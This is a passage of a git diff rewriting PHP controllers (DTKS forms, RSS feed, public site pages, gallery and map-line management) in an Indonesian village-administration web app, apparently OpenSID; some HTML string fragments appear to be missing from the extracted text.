if ($id_rtm == null) { + redirect_with('error', 'RTM tidak ditemukan'); + } + + $dtks = ModelDtks::where([ + 'id_rtm' => $id_rtm, + 'versi_kuisioner' => DtksEnum::VERSION_CODE, + // 'is_draft' => StatusEnum::YA, // belum terpakai karena yg dibutuhkan hanya 1 data per rtm + ])->first(); + + if (! $dtks) { + DB::beginTransaction(); + $dtks = ModelDtks::create([ + 'versi_kuisioner' => DtksEnum::VERSION_CODE, + 'id_rtm' => $id_rtm, + 'is_draft' => StatusEnum::YA, + ]); + $this->synchroniseDTKSWithOpenSid($dtks); + DB::commit(); + } + + redirect("{$this->controller}/form/{$dtks->id}"); + } + + public function latest($id_rtm) + { + $dtks = ModelDtks::where(['id_rtm' => $id_rtm]) + ->orderBy('created_at', 'ASC') + ->first(); + + if (! $dtks) { + session_error(' : Belum ada data'); + redirect_with('error', 'Belum ada data', $_SERVER['HTTP_REFERER']); + } + redirect("{$this->controller}/form/{$dtks->id}"); + } + + public function form($id) + { + $dtks = ModelDtks::where(['id' => $id])->first(); + + if (! $dtks) { + return json(['message' => 'Formulir Tidak ditemukan'], 404); + } + + if ($dtks->versi_kuisioner == DtksEnum::REGSOS_EK2022_K) { + return (new DTKSRegsosEk2022k())->form($dtks); + } + } + + protected function synchroniseDTKSWithOpenSid(ModelDtks $dtks) + { + $config = Config::first(); + + if (! $config) { + session_error(' : Konfigurasi tidak ditemukan'); + redirect_with('error', 'Konfigurasi tidak ditemukan', route('dtks')); + } + + if ($dtks->versi_kuisioner == DtksEnum::REGSOS_EK2022_K) { + $dtks = (new DTKSRegsosEk2022k())->syncronizeWithOpenSid($dtks); + } + } + + /** + * savePengaturan + * + * @param mixed $versi_dtks + */ + public function savePengaturan($versi_dtks) + { + if ($this->input->is_ajax_request()) { + if ($versi_dtks == DtksEnum::REGSOS_EK2022_K) { + $respon = (new DTKSRegsosEk2022k())->save($this->request); + + return json($respon['content'], $respon['header_code']); + } + + return json(['message' => 'Tidak melakukan apapun'], 200); + } + if ($versi_dtks == DtksEnum::REGSOS_EK2022_K) { + $respon = (new DTKSRegsosEk2022k())->save($this->request); + + return json($respon['content'], $respon['header_code']); + } + + session_error(' : Tidak melakukan apapun'); + redirect_with('error', 'Tidak melakukan apapun', $_SERVER['HTTP_REFERER']); + } + + /** + * Save + * + * @param dtks_id $id + */ + public function save($id) + { + $dtks = ModelDtks::with('dtksAnggota') + ->where(['id' => $id]) + ->first(); + + if ($this->input->is_ajax_request()) { + if (! $dtks) { + return json(['message' => 'Formulir Tidak ditemukan'], 404); + } + + if ($dtks->versi_kuisioner == DtksEnum::REGSOS_EK2022_K) { + $respon = (new DTKSRegsosEk2022k())->save($this->request, $dtks); + + return json($respon['content'], $respon['header_code']); + } + + return json(['message' => 'Tidak melakukan apapun'], 200); + } + if (! $dtks) { + session_error(' : Formulir tidak ditemukan'); + redirect_with('error', 'Formulir Tidak ditemukan', $_SERVER['HTTP_REFERER']); + } + + if ($dtks->versi_kuisioner == DtksEnum::REGSOS_EK2022_K) { + $respon = (new DTKSRegsosEk2022k())->save($this->request, $dtks); + + return json($respon['content'], $respon['header_code']); + } + + session_error(' : Tidak melakukan apapun'); + redirect_with('error', 'Tidak melakukan apapun', $_SERVER['HTTP_REFERER']); + } + + /** + * Delete + * + * @param dtks_id $id + */ + public function delete($id) + { + $this->redirect_hak_akses('h'); + + $dtks = ModelDtks::find($id)->delete(); + + return json(['message' => 'Berhasil'], 200); + } + + /** + * Remove some data + * + * @param dtks_id $id + */ + public function remove($id) + { + $dtks = ModelDtks::find($id); + + if (! $dtks) { + return json(['message' => 'Formulir Tidak ditemukan'], 404); + } + + if ($dtks->versi_kuisioner == DtksEnum::REGSOS_EK2022_K) { + $respon = (new DTKSRegsosEk2022k())->remove($dtks, $this->request); + + return json($respon['content'], $respon['header_code']); + } + + return json(['message' => 'Tidak melakukan apapun'], 200); + } +} diff --git a/donjo-app/controllers/Feed.php b/donjo-app/controllers/Feed.php index d14f18839..b2dbdf01c 100644 --- a/donjo-app/controllers/Feed.php +++ b/donjo-app/controllers/Feed.php @@ -1,449 +1,58 @@ -load->model(['feed_model']); + } + + public function index() + { + $data['data_config'] = Config::appKey()->first(); + $data['feeds'] = $this->feed_model->list_feeds(); + + $this->output->set_content_type('text/xml', 'UTF-8'); + $this->load->view('feed', $data); + } +} diff --git a/donjo-app/controllers/First.php b/donjo-app/controllers/First.php index f8805b1a0..81dfb1766 100644 --- a/donjo-app/controllers/First.php +++ b/donjo-app/controllers/First.php @@ -1,457 +1,539 @@ -load->model('first_artikel_m'); + $this->load->model('first_penduduk_m'); + $this->load->model('penduduk_model'); + $this->load->model('surat_model'); // TODO: Cek digunakan halaman apa saja + $this->load->model('keluarga_model'); // TODO: Cek digunakan halaman apa saja + $this->load->model('laporan_penduduk_model'); + $this->load->model('track_model'); + $this->load->model('keluar_model'); // TODO: Cek digunakan halaman apa saja + $this->load->model('keuangan_model'); // TODO: Cek digunakan halaman apa saja + $this->load->model('keuangan_manual_model'); // TODO: Cek digunakan halaman apa saja + $this->load->model('web_dokumen_model'); + $this->load->model('program_bantuan_model'); + $this->load->model('keuangan_grafik_model'); + $this->load->model('keuangan_grafik_manual_model'); + $this->load->model('plan_lokasi_model'); // TODO: Cek digunakan halaman apa saja + $this->load->model('plan_area_model'); // TODO: Cek digunakan halaman apa saja + $this->load->model('plan_garis_model'); // TODO: Cek digunakan halaman apa saja + $this->load->model('analisis_import_model'); + } + + public function index($p = 1) + { + $data = $this->includes; + + $data['p'] = $p; + $data['paging'] = $this->first_artikel_m->paging($p); + $data['paging_page'] = 'index'; + $data['paging_range'] = 3; + $data['start_paging'] = max($data['paging']->start_link, $p - $data['paging_range']); + $data['end_paging'] = min($data['paging']->end_link, $p + $data['paging_range']); + $data['pages'] = range($data['start_paging'], $data['end_paging']); + $data['artikel'] = $this->first_artikel_m->artikel_show($data['paging']->offset, $data['paging']->per_page); + + $data['headline'] = $this->first_artikel_m->get_headline(); + $data['cari'] = $this->input->get('cari', true); + if ($this->setting->covid_rss) { + $data['feed'] = [ + 'items' => $this->first_artikel_m->get_feed(), + 'title' => 'BERITA COVID19.GO.ID', + 'url' => 'https://www.covid19.go.id', + ]; + } + + // TODO: OpenKAB - Sesuaikan jika Modul Admin sudah disesuaikan + if ($this->setting->apbdes_footer) { + $data['transparansi'] = $this->setting->apbdes_manual_input + ? $this->keuangan_grafik_manual_model->grafik_keuangan_tema() + : $this->keuangan_grafik_model->grafik_keuangan_tema(); + } + + $data['covid'] = $this->laporan_penduduk_model->list_data('covid'); + + $cari = trim($this->input->get('cari', true)); + if (! empty($cari)) { + // Judul artikel bisa digunakan untuk serangan XSS + $data['judul_kategori'] = htmlentities('Hasil pencarian : ' . substr(html_escape($cari), 0, 50)); + } + + $this->_get_common_data($data); + $this->track_model->track_desa('first'); + $this->load->view($this->template, $data); + } + + /* + | Artikel bisa ditampilkan menggunakan parameter pertama sebagai id, dan semua parameter lainnya dikosongkan. url artikel/:id + | Kalau menggunakan slug, dipanggil menggunakan url artikel/:thn/:bln/:hri/:slug + */ + public function artikel($thn, $bln, $hr, $url) + { + if (is_numeric($url)) { + $data_artikel = $this->first_artikel_m->get_artikel_by_id($url); + if ($data_artikel) { + $data_artikel['slug'] = $this->security->xss_clean($data_artikel['slug']); + redirect('artikel/' . buat_slug($data_artikel)); + } + } + $this->load->model('shortcode_model'); + $data = $this->includes; + $this->first_artikel_m->hit($url); // catat artikel diakses + $data['single_artikel'] = $this->first_artikel_m->get_artikel($thn, $bln, $hr, $url); + $id = $data['single_artikel']['id']; + + // replace isi artikel dengan shortcodify + $data['single_artikel']['isi'] = $this->shortcode_model->shortcode($data['single_artikel']['isi']); + $data['title'] = ucwords($data['single_artikel']['judul']); + $data['detail_agenda'] = $this->first_artikel_m->get_agenda($id); //Agenda + $data['komentar'] = $this->first_artikel_m->list_komentar($id); + $this->_get_common_data($data); + $this->set_template('layouts/artikel.tpl.php'); + $this->load->view($this->template, $data); + } + + public function unduh_dokumen_artikel($id) + { + // Ambil nama berkas dari database + $dokumen = $this->first_artikel_m->get_dokumen_artikel($id); + ambilBerkas($dokumen, $this->controller, null, LOKASI_DOKUMEN); + } + + public function arsip($p = 1) + { + $data = $this->includes; + $data['p'] = $p; + $data['paging'] = $this->first_artikel_m->paging_arsip($p); + $data['farsip'] = $this->first_artikel_m->full_arsip($data['paging']->offset, $data['paging']->per_page); + + $this->_get_common_data($data); + + $this->set_template('layouts/arsip.tpl.php'); + $this->load->view($this->template, $data); + } + + public function gallery($p = 1) + { + if ($p > 1) { + $index = '/index/' . $p; + } + + redirect('galeri' . $index); + } + + public function sub_gallery($parent = 0, $p = 1) + { + if ($parent) { + $index = '/' . $parent; + + if ($p > 1) { + $index .= '/index/' . $p; + } + } + + redirect('galeri' . $index); + } + + public function statistik($stat = 0, $tipe = 0) + { + if (! $this->web_menu_model->menu_aktif('statistik/' . $stat)) { + show_404(); + } + + $data = $this->includes; + + $data['heading'] = $this->laporan_penduduk_model->judul_statistik($stat); + $data['title'] = 'Statistik ' . $data['heading']; + $data['stat'] = $this->laporan_penduduk_model->list_data($stat); + $data['tipe'] = $tipe; + $data['st'] = $stat; + + $this->_get_common_data($data); + + $this->set_template('layouts/stat.tpl.php'); + $this->load->view($this->template, $data); + } + + public function kelompok($slug = '') + { + redirect('data-kelompok/' . $slug); + } + + public function suplemen($slug = '') + { + redirect('data-suplemen/' . $slug); + } + + public function ajax_peserta_program_bantuan() + { + $peserta = $this->program_bantuan_model->get_peserta_bantuan(); + $data = []; + $no = $_POST['start']; + + foreach ($peserta as $baris) { + $no++; + $row = []; + $row[] = $no; + $row[] = $baris['program']; + $row[] = $baris['peserta']; + $row[] = $baris['alamat']; + $data[] = $row; + } + + $output = [ + 'recordsTotal' => $this->program_bantuan_model->count_peserta_bantuan_all(), + 'recordsFiltered' => $this->program_bantuan_model->count_peserta_bantuan_filtered(), + 'data' => $data, + ]; + echo json_encode($output); + } + + // TODO: OpenKAB - Sesuaikan jika Modul Admin sudah disesuaikan + public function data_analisis() + { + if (! $this->web_menu_model->menu_aktif('data_analisis')) { + show_404(); + } + + $master = $this->input->get('master', true); + + $data = $this->includes; + $data['master_indikator'] = $this->first_penduduk_m->master_indikator(); + $data['list_indikator'] = $this->first_penduduk_m->list_indikator($master); + + $this->_get_common_data($data); + + $this->set_template('layouts/analisis.tpl.php'); + $this->load->view($this->template, $data); + } + + // TODO: OpenKAB - Sesuaikan jika Modul Admin sudah disesuaikan + public function jawaban_analisis($stat = '', $sb = 0, $per = 0) + { + if (! $this->web_menu_model->menu_aktif('data_analisis')) { + show_404(); + } + + $data = $this->includes; + $data['list_jawab'] = $this->first_penduduk_m->list_jawab($stat, $sb, $per); + $data['indikator'] = $this->first_penduduk_m->get_indikator($stat); + $this->_get_common_data($data); + $this->set_template('layouts/analisis.tpl.php'); + $this->load->view($this->template, $data); + } + + public function dpt() + { + if (! $this->web_menu_model->menu_aktif('dpt')) { + show_404(); + } + + $this->load->model('dpt_model'); + $data = $this->includes; + $data['title'] = 'Daftar Calon Pemilih Berdasarkan Wilayah'; + $data['main'] = $this->dpt_model->statistik_wilayah(); + $data['total'] = $this->dpt_model->statistik_total(); + $data['tanggal_pemilihan'] = $this->dpt_model->tanggal_pemilihan(); + $this->_get_common_data($data); + $data['tipe'] = 4; + $this->set_template('layouts/stat.tpl.php'); + $this->load->view($this->template, $data); + } + + public function wilayah() + { + if (! $this->web_menu_model->menu_aktif('data-wilayah')) { + show_404(); + } + + $this->load->model('wilayah_model'); + $data = $this->includes; + + $data['heading'] = 'Populasi Per Wilayah'; + $data['tipe'] = 3; + $data['daftar_dusun'] = $this->wilayah_model->daftar_wilayah_dusun(); + $data['total'] = $this->wilayah_model->total(); + $data['st'] = 1; + $this->_get_common_data($data); + + $this->set_template('layouts/stat.tpl.php'); + $this->load->view($this->template, $data); + } + + public function informasi_publik() + { + if (! $this->web_menu_model->menu_aktif('informasi_publik')) { + show_404(); + } + + $data = $this->includes; + + $data['kategori'] = $this->referensi_model->list_data('ref_dokumen', 1); + $data['tahun'] = $this->web_dokumen_model->tahun_dokumen(); + $data['heading'] = 'Informasi Publik'; + $data['title'] = $data['heading']; + $data['halaman_statis'] = 'web/halaman_statis/informasi_publik'; + $this->_get_common_data($data); + + $this->set_template('layouts/halaman_statis.tpl.php'); + $this->load->view($this->template, $data); + } + + public function ajax_informasi_publik() + { + $informasi_publik = $this->web_dokumen_model->get_informasi_publik(); + $data = []; + $no = $_POST['start']; + + foreach ($informasi_publik as $baris) { + $no++; + $row = []; + $row[] = $no; + if ($baris['tipe'] == 1) { + $row[] = "" . $baris['nama'] . ''; + } else { + $row[] = "" . $baris['nama'] . ''; + } + $row[] = $baris['tahun']; + // Ambil judul kategori + $row[] = $this->referensi_model->list_ref_flip(KATEGORI_PUBLIK)[$baris['kategori_info_publik']]; + $row[] = $baris['tgl_upload']; + if ($baris['tipe'] == 1) { + $row[] = "Lihat Dokumen "; + } else { + $row[] = "Lihat Dokumen "; + } + $data[] = $row; + } + + $output = [ + 'recordsTotal' => $this->web_dokumen_model->count_informasi_publik_all(), + 'recordsFiltered' => $this->web_dokumen_model->count_informasi_publik_filtered(), + 'data' => $data, + ]; + echo json_encode($output); + } + + public function tampilkan($id_dokumen, $id_pend = 0) + { + $this->load->model('Web_dokumen_model'); + $berkas = $this->web_dokumen_model->get_nama_berkas($id_dokumen, $id_pend); + + if (! $id_dokumen || ! $berkas || ! file_exists(LOKASI_DOKUMEN . $berkas)) { + $data['link_berkas'] = null; + } else { + $data = [ + 'link_berkas' => site_url("first/dokumen_tampilkan_berkas/{$id_dokumen}/{$id_pend}"), + 'tipe' => get_extension($berkas), + 'link_unduh' => site_url("first/dokumen_unduh_berkas/{$id_dokumen}/{$id_pend}"), + ]; + } + $this->load->view('global/tampilkan', $data); + } + + /** + * Unduh berkas berdasarkan kolom dokumen.id + * + * @param int $id_dokumen Id berkas pada koloam dokumen.id + * @param mixed|null $id_pend + * @param mixed $tampil + * + * @return void + */ + public function dokumen_unduh_berkas($id_dokumen, $id_pend = null, $tampil = false) + { + // Ambil nama berkas dari database + $data = $this->web_dokumen_model->get_dokumen($id_dokumen, $id_pend); + ambilBerkas($data['satuan'], $this->controller, null, LOKASI_DOKUMEN, $tampil); + } + + public function dokumen_tampilkan_berkas($id_dokumen, $id_pend = null) + { + $this->dokumen_unduh_berkas($id_dokumen, $id_pend, $tampil = true); + } + + public function kategori($id, $p = 1) + { + $data = $this->includes; + + $data['p'] = $p; + $data['judul_kategori'] = $this->first_artikel_m->get_kategori($id); + $data['title'] = 'Artikel ' . $data['judul_kategori']['kategori']; + $data['paging'] = $this->first_artikel_m->paging_kat($p, $id); + $data['paging_page'] = 'artikel/kategori/' . $id; + $data['paging_range'] = 3; + $data['start_paging'] = max($data['paging']->start_link, $p - $data['paging_range']); + $data['end_paging'] = min($data['paging']->end_link, $p + $data['paging_range']); + $data['pages'] = range($data['start_paging'], $data['end_paging']); + $data['artikel'] = $this->first_artikel_m->list_artikel($data['paging']->offset, $data['paging']->per_page, $id); + + $this->_get_common_data($data); + $this->load->view($this->template, $data); + } + + public function add_comment($id = 0) + { + $this->load->library('form_validation'); + $this->form_validation->set_rules('komentar', 'Komentar', 'required'); + $this->form_validation->set_rules('owner', 'Nama', 'required|max_length[50]'); + $this->form_validation->set_rules('no_hp', 'No HP', 'numeric|required|max_length[15]'); + $this->form_validation->set_rules('email', 'Email', 'valid_email|max_length[50]'); + + $post = $this->input->post(); + + if ($this->form_validation->run() == true) { + // Periksa isian captcha + include FCPATH . 'securimage/securimage.php'; + $securimage = new Securimage(); + + if ($securimage->check($_POST['captcha_code']) == false) { + $respon = [ + 'status' => -1, // Notif gagal + 'pesan' => 'Kode anda salah. Silakan ulangi lagi.', + 'data' => $post, + ]; + } else { + $data = [ + 'komentar' => htmlentities($post['komentar']), + 'owner' => htmlentities($post['owner']), + 'no_hp' => bilangan($post['no_hp']), + 'email' => email($post['email']), + 'status' => 2, + 'id_artikel' => $id, + 'config_id' => identitas('id'), + ]; + + $res = $this->first_artikel_m->insert_comment($data); + + if ($res) { + $respon = [ + 'status' => 1, // Notif berhasil + 'pesan' => 'Komentar anda telah berhasil dikirim dan perlu dimoderasi untuk ditampilkan.', + ]; + } else { + $respon = [ + 'status' => -1, // Notif gagal + 'pesan' => 'Komentar anda gagal dikirim. Silakan ulangi lagi.', + 'data' => $post, + ]; + } + } + } else { + $respon = [ + 'status' => -1, // Notif gagal + 'pesan' => validation_errors(), + 'data' => $post, + ]; + } + + $this->session->set_flashdata('notif', $respon); + + redirect($_SERVER['HTTP_REFERER'] . '#kolom-komentar'); + } + + public function load_apbdes() + { + $data['transparansi'] = $this->keuangan_grafik_model->grafik_keuangan_tema(); + + $this->_get_common_data($data); + $this->load->view('gis/apbdes_web', $data); + } + + public function load_aparatur_desa() + { + $this->_get_common_data($data); + $this->load->view('gis/aparatur_desa_web', $data); + } + + public function load_aparatur_wilayah($id = '', $kd_jabatan = 0) + { + $data['penduduk'] = $this->penduduk_model->get_penduduk($id); + $kepala_dusun = 'Kepala ' . ucwords($this->setting->sebutan_dusun); + + switch ($kd_jabatan) { + case '1': + $data['jabatan'] = $kepala_dusun; + break; + + case '2': + $data['jabatan'] = 'Ketua RW'; + break; + + case '3': + $data['jabatan'] = 'Ketua RT'; + break; + + default: + $data['jabatan'] = $kepala_dusun; + break; + } + + $this->load->view('gis/aparatur_wilayah', $data); + } + + public function get_form_info() + { + $redirect_link = $this->input->get('redirectLink', true); + + if ($this->session->inside_retry == false) { + // Untuk kondisi SEBELUM autentikasi dan SETELAH RETRY hit API + if ($this->input->get('outsideRetry', true) == 'true') { + $this->session->inside_retry = true; + } + $this->session->google_form_id = $this->input->get('formId', true); + $result = $this->analisis_import_model->import_gform($redirect_link); + + echo json_encode($result); + } else { + // Untuk kondisi SESAAT setelah Autentikasi + $redirect_link = $this->session->inside_redirect_link; + + $this->session->unset_userdata(['inside_retry', 'inside_redirect_link']); + + header('Location: ' . $redirect_link . '?outsideRetry=true&code=' . $this->input->get('code', true) . '&formId=' . $this->session->google_form_id); + } + } +} diff --git a/donjo-app/controllers/Gallery.php b/donjo-app/controllers/Gallery.php index 1ea411a49..8376165c2 100644 --- a/donjo-app/controllers/Gallery.php +++ b/donjo-app/controllers/Gallery.php @@ -1,473 +1,311 @@ -load->model('web_gallery_model'); + $this->modul_ini = 'admin-web'; + $this->sub_modul_ini = 'galeri'; + } + + public function clear() + { + unset($_SESSION['cari'], $_SESSION['filter']); + + redirect('gallery'); + } + + public function index($p = 1, $o = 0) + { + $data['p'] = $p; + $data['o'] = $o; + + if (isset($_SESSION['cari'])) { + $data['cari'] = $_SESSION['cari']; + } else { + $data['cari'] = ''; + } + + if (isset($_SESSION['filter'])) { + $data['filter'] = $_SESSION['filter']; + } else { + $data['filter'] = ''; + } + + if (isset($_POST['per_page'])) { + $_SESSION['per_page'] = $_POST['per_page']; + } + $data['per_page'] = $_SESSION['per_page']; + + $data['paging'] = $this->web_gallery_model->paging($p, $o); + $data['main'] = $this->web_gallery_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->web_gallery_model->autocomplete(); + + $this->render('gallery/table', $data); + } + + public function form($p = 1, $o = 0, $id = '') + { + $id = decrypt($id); + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $data['p'] = $p; + $data['o'] = $o; + + if ($id) { + $data['gallery'] = $this->web_gallery_model->get_gallery($id); + $data['form_action'] = site_url("gallery/update/{$id}/{$p}/{$o}"); + } else { + $data['gallery'] = null; + $data['form_action'] = site_url('gallery/insert'); + } + + $this->render('gallery/form', $data); + } + + public function search($gallery = '') + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + if ($gallery != '') { + redirect('gallery/sub_gallery/' . encrypt($gallery)); + } else { + redirect('gallery'); + } + } + + public function filter($gallery = '') + { + $filter = $this->input->post('filter'); + if ($filter != 0) { + $_SESSION['filter'] = $filter; + } else { + unset($_SESSION['filter']); + } + if ($gallery != '') { + redirect('gallery/sub_gallery/' . encrypt($gallery)); + } else { + redirect('gallery'); + } + } + + public function insert() + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_gallery_model->insert(); + redirect('gallery'); + } + + public function update($id = '', $p = 1, $o = 0) + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_gallery_model->update($id); + redirect("gallery/index/{$p}/{$o}"); + } + + public function delete($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('h', "gallery/index/{$p}/{$o}"); + $this->web_gallery_model->delete_gallery(decrypt($id)); + redirect("gallery/index/{$p}/{$o}"); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h', "gallery/index/{$p}/{$o}"); + $_SESSION['success'] = 1; + $this->web_gallery_model->delete_all_gallery(); + redirect("gallery/index/{$p}/{$o}"); + } + + public function gallery_lock($id = '', $gallery = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_gallery_model->gallery_lock(decrypt($id), 1); + if ($gallery != '') { + redirect("gallery/sub_gallery/{$gallery}/{$p}"); + } else { + redirect("gallery/index/{$p}/{$o}"); + } + } + + public function gallery_unlock($id = '', $gallery = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_gallery_model->gallery_lock(decrypt($id), 2); + if ($gallery != '') { + redirect("gallery/sub_gallery/{$gallery}/{$p}"); + } else { + redirect("gallery/index/{$p}/{$o}"); + } + } + + public function slider_on($id = '', $gallery = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_gallery_model->gallery_slider(decrypt($id), 1); + if ($gallery != '') { + redirect("gallery/sub_gallery/{$gallery}/{$p}"); + } else { + redirect("gallery/index/{$p}/{$o}"); + } + } + + public function slider_off($id = '', $gallery = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_gallery_model->gallery_slider(decrypt($id), 0); + if ($gallery != '') { + redirect("gallery/sub_gallery/{$gallery}/{$p}"); + } else { + redirect("gallery/index/{$p}/{$o}"); + } + } + + public function sub_gallery($gal = 0, $p = 1, $o = 0) + { + $gal = decrypt($gal); + $data['p'] = $p; + $data['o'] = $o; + + if (isset($_SESSION['cari'])) { + $data['cari'] = $_SESSION['cari']; + } else { + $data['cari'] = ''; + } + + if (isset($_SESSION['filter'])) { + $data['filter'] = $_SESSION['filter']; + } else { + $data['filter'] = ''; + } + + if (isset($_POST['per_page'])) { + $_SESSION['per_page'] = $_POST['per_page']; + } + $data['per_page'] = $_SESSION['per_page']; + + $data['paging'] = $this->web_gallery_model->paging2($gal, $p); + $data['sub_gallery'] = $this->web_gallery_model->list_sub_gallery($gal, $o, $data['paging']->offset, $data['paging']->per_page); + $data['gallery'] = $gal; + $data['sub'] = $this->web_gallery_model->get_gallery($gal); + $data['keyword'] = $this->web_gallery_model->autocomplete(); + + $this->render('gallery/sub_gallery_table', $data); + } + + public function form_sub_gallery($gallery = 0, $id = 0) + { + $gallery = decrypt($gallery); + $id = decrypt($id); + + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + if ($id) { + $data['gallery'] = $this->web_gallery_model->get_gallery($id); + $data['form_action'] = site_url("gallery/update_sub_gallery/{$gallery}/{$id}"); + } else { + $data['gallery'] = null; + $data['form_action'] = site_url("gallery/insert_sub_gallery/{$gallery}"); + } + $data['album'] = $gallery; + + $this->render('gallery/form_sub_gallery', $data); + } + + public function insert_sub_gallery($gallery = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_gallery_model->insert_sub_gallery($gallery); + redirect('gallery/sub_gallery/' . encrypt($gallery)); + } + + public function update_sub_gallery($gallery = '', $id = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_gallery_model->update_sub_gallery($id); + redirect('gallery/sub_gallery/' . encrypt($gallery)); + } + + public function delete_sub_gallery($gallery = '', $id = '') + { + $this->redirect_hak_akses('h', "gallery/sub_gallery/{$gallery}"); + $this->web_gallery_model->delete(decrypt($id)); + redirect("gallery/sub_gallery/{$gallery}"); + } + + public function delete_all_sub_gallery($gallery = '') + { + $this->redirect_hak_akses('h', "gallery/sub_gallery/{$gallery}"); + $_SESSION['success'] = 1; + $this->web_gallery_model->delete_all(); + redirect("gallery/sub_gallery/{$gallery}"); + } + + public function gallery_lock_sub_gallery($gallery = '', $id = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_gallery_model->gallery_lock($id, 1); + redirect("gallery/sub_gallery/{$gallery}"); + } + + public function gallery_unlock_sub_gallery($gallery = '', $id = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_gallery_model->gallery_lock($id, 2); + redirect("gallery/sub_gallery/{$gallery}"); + } + + public function urut($id, $arah = 0, $gallery = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_gallery_model->urut(decrypt($id), $arah, decrypt($gallery)); + if ($gallery != '') { + redirect("gallery/sub_gallery/{$gallery}"); + } else { + redirect('gallery/index'); + } + } +} diff --git a/donjo-app/controllers/Garis.php b/donjo-app/controllers/Garis.php index b75ed2959..7cda921fb 100644 --- a/donjo-app/controllers/Garis.php +++ b/donjo-app/controllers/Garis.php @@ -1,457 +1,261 @@ -load->model('wilayah_model'); + $this->load->model('plan_lokasi_model'); + $this->load->model('plan_area_model'); + $this->load->model('plan_garis_model'); + $this->load->model('pembangunan_model'); + $this->modul_ini = 'pemetaan'; + $this->sub_modul_ini = 'pengaturan-peta'; + } + + public function clear() + { + unset($_SESSION['cari'], $_SESSION['filter'], $_SESSION['line'], $_SESSION['subline']); + + redirect($this->controller); + } + + public function index($p = 1, $o = 0) + { + $data['p'] = $p; + $data['o'] = $o; + + if (isset($_SESSION['cari'])) { + $data['cari'] = $_SESSION['cari']; + } else { + $data['cari'] = ''; + } + + if (isset($_SESSION['filter'])) { + $data['filter'] = $_SESSION['filter']; + } else { + $data['filter'] = ''; + } + + if (isset($_SESSION['line'])) { + $data['line'] = $_SESSION['line']; + } else { + $data['line'] = ''; + } + + if (isset($_SESSION['subline'])) { + $data['subline'] = $_SESSION['subline']; + } else { + $data['subline'] = ''; + } + + if (isset($_POST['per_page'])) { + $_SESSION['per_page'] = $_POST['per_page']; + } + + $data['per_page'] = $_SESSION['per_page']; + $data['paging'] = $this->plan_garis_model->paging($p, $o); + $data['main'] = $this->plan_garis_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->plan_garis_model->autocomplete(); + $data['list_line'] = $this->plan_garis_model->list_line(); + $data['list_subline'] = $this->plan_garis_model->list_subline(); + $data['tip'] = 1; + + $this->render('garis/table', $data); + } + + public function form($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $data['p'] = $p; + $data['o'] = $o; + + if ($id) { + $data['garis'] = $this->plan_garis_model->get_garis($id) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/update/{$id}/{$p}/{$o}"); + } else { + $data['garis'] = null; + $data['form_action'] = site_url("{$this->controller}/insert"); + } + + $data['list_subline'] = $this->plan_garis_model->list_subline(); + $data['tip'] = 1; + + $this->render('garis/form', $data); + } + + public function ajax_garis_maps($p = 1, $o = 0, $id = '') + { + $data['p'] = $p; + $data['o'] = $o; + if ($id) { + $data['garis'] = $this->plan_garis_model->get_garis($id) ?? show_404(); + } else { + $data['garis'] = null; + } + + $data['desa'] = $this->header['desa']; + $data['wil_atas'] = $this->header['desa']; + $data['dusun_gis'] = $this->wilayah_model->list_dusun(); + $data['rw_gis'] = $this->wilayah_model->list_rw(); + $data['rt_gis'] = $this->wilayah_model->list_rt(); + $data['all_lokasi'] = $this->plan_lokasi_model->list_data(); + $data['all_garis'] = $this->plan_garis_model->list_data(); + $data['all_area'] = $this->plan_area_model->list_data(); + $data['all_lokasi_pembangunan'] = $this->pembangunan_model->list_lokasi_pembangunan(); + $data['form_action'] = site_url("{$this->controller}/update_maps/{$p}/{$o}/{$id}"); + + $this->render('garis/maps', $data); + } + + public function update_maps($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_garis_model->update_position($id); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function kosongkan($id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_garis_model->kosongkan_path($id); + redirect($_SERVER['HTTP_REFERER']); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + + redirect($this->controller); + } + + public function filter() + { + $filter = $this->input->post('filter'); + if ($filter != 0) { + $_SESSION['filter'] = $filter; + } else { + unset($_SESSION['filter']); + } + + redirect($this->controller); + } + + public function line() + { + $line = $this->input->post('line'); + if ($line != 0) { + $_SESSION['line'] = $line; + } else { + unset($_SESSION['line']); + } + + redirect($this->controller); + } + + public function subline() + { + unset($_SESSION['line']); + $subline = $this->input->post('subline'); + if ($subline != 0) { + $_SESSION['subline'] = $subline; + } else { + unset($_SESSION['subline']); + } + + redirect($this->controller); + } + + public function insert($tip = 1) + { + $this->redirect_hak_akses('u'); + $this->plan_garis_model->insert($tip); + + redirect("{$this->controller}/index/{$tip}"); + } + + public function update($id = '', $p = 1, $o = 0) + { + $this->redirect_hak_akses('u'); + $this->plan_garis_model->update($id); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function delete($p = 1, $o = 0, $id = '') + { + 